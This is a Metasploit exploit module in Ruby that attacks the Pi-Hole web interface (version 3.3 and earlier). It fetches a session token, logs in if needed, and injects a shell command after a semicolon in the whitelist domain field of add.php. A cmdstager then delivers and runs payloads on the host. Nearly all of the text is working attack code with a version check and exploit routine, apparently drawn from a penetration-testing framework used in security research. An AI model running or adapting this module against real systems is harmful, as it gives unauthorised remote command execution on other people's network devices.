Pi-Hole Whitelist OS Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Pihole

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Whitelist OS Command Execution',
        'Description' => %q{
          This exploits a command execution vulnerability in Pi-Hole <= 3.3.
          When adding a new domain to the whitelist, it is possible to chain
          a command to the domain that is run on the OS.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Denis Andzakovic' # original PoC, discovery
        ],
        'References' => [
          ['URL', 'https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns']
        ],
        'Platform' => ['linux'],
        'Privileged' => false,
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2018-04-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
      ]
    )
  end

  def execute_command(cmd, _opts = {})
    # get token
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
      'keep_cookies' => true,
      'vars_get' => {
        'l' => 'white'
      }
    )

    # check if we got hit by a login prompt
    if res && res.body.include?('Sign in to start your session')
      res = login(datastore['PASSWORD'])
      fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?
      # res = send_request_cgi(
      #   'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
      #   'keep_cookies' => true,
      #   'ctype' => 'application/x-www-form-urlencoded',
      #   'cookie' => cookie,
      #   'vars_get' => {
      #     'l' => 'white'
      #   }
      # )
    end

    token = get_token('api')

    if token.nil?
      fail_with(Failure::UnexpectedReply, 'Unable to find token')
    end
    print_status("Using token: #{token}")

    send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'),
      'vars_post' => {
        'domain' => "#{rand_text_alphanumeric(3..5)}.com;#{cmd}",
        'list' => 'white',
        'token' => token
      }
    })
  end

  def check
    begin
      _version, web_version, _ftl = get_versions

      if web_version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown
      end

      if web_version && Rex::Version.new(web_version) < Rex::Version.new('3.3')
        vprint_good("Web Interface Version Detected: #{web_version}")
        return CheckCode::Appears
      else
        vprint_bad("Web Interface Version Detected: #{web_version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Could not connect to the web service")
      return Exploit::CheckCode::Unknown
    end
    CheckCode::Safe
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    begin
      execute_cmdstager(flavor: :bourne)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end